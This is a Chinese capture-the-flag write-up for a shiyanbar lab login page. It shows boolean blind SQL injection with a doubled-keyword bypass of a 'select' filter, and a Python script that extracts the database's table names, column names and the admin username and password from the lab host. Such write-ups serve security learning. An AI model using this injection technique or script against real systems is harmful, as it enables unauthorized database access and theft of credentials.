实验吧——看起来有点难

首先当然是拿admin/admin来试试啊,多次测试发现,有两种错误提示

1.数据库连接失败!

2.登录失败,错误的用户名和密码

账号为admin时都是提示"登录失败,错误的用户名和密码",而为其他任何字符串时都提示"数据库连接失败!",可以知道账号框存在注入,且这里为布尔盲注。

于是直接构造注入语句

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( select group_concat(table_name) from information_schema.tables ),1,1))<97-- -&pass=admin&action=login

但是发现注入好像被拦截了

不过仔细看可以发现,这里只是检测了是否有select关键字,如果有则弹窗提示,而且过滤掉select,后台的sql语句便变成

不知道后台过滤逻辑是怎样的,这里先尝试双写绕过,http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(table_name) from information_schema.tables ),1,1))<97-- -&pass=admin&action=login

虽然还是会提示不要注入,但我们的语句是执行成功了,所以提不提示无所谓

然后可以使用二分法慢慢手注,不过我当然是选择写脚本啦。。。

我发现访问这个网站很慢,跑的话需要太长时间了,于是脚本中我就去掉了不常用的字符,只保留字母数字和下划线还有逗号,其实想提高速度也可以用二分法,不过我懒得改了,直接放上我的脚本吧(写的很丑,见谅)

 1 # -*- coding: utf-8 -*-
 2 import requests
 3 
 4 strall='_,abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
 5 
 6 headers={
 7     'Content-Type': 'application/x-www-form-urlencoded'
 8 }
 9 
10 def func1():
11     result=''
12     for index in range(1,1000):
13         for i in strall:
14             url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
15             print url
16             r=requests.get(url=url,headers=headers)
17             r.encoding='gbk'
18             if r.text.find('登录失败,错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
19                 result+=i
20                 print result
21                 break
22             elif i=='9':
23                 return
24 
25 def func2():
26     result=''
27     for index in range(1,1000):
28         for i in strall:
29             url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( seselectlect group_concat(column_name) from information_schema.columns where table_name='admin'),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
30             print url
31             r=requests.get(url=url,headers=headers)
32             r.encoding='gbk'
33             if r.text.find('登录失败,错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
34                 result+=i
35                 print result
36                 break
37             elif i=='9':
38                 return
39 
40 def func3():
41     result=''
42     for index in range(1,1000):
43         for i in strall:
44             url="http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin' and ascii(substr(( selselectect concat(username,password) from admin ),{},1))=ascii('{}')-- -&pass=admin&action=login".format(str(index),i)
45             print url
46             r=requests.get(url=url,headers=headers)
47             r.encoding='gbk'
48             if r.text.find('登录失败,错误的用户名和密码'.decode('utf-8','ignore').encode('gbk','ignore')) >=0:
49                 result+=i
50                 print result
51                 break
52             elif i=='9':
53                 return
54 
55 func1()
56 raw_input('ok')
57 func2()
58 raw_input('ok')
59 func3()
60 raw_input('done')

以前写脚本图方便确实没写二分法,也没觉得慢,因为访问网站的速度快,不一会就跑完了,不过这次真的跑了好久。。。

忍不了这速度的就直接上sqlmap吧

猜你喜欢

转载自www.cnblogs.com/leixiao-/p/9749480.html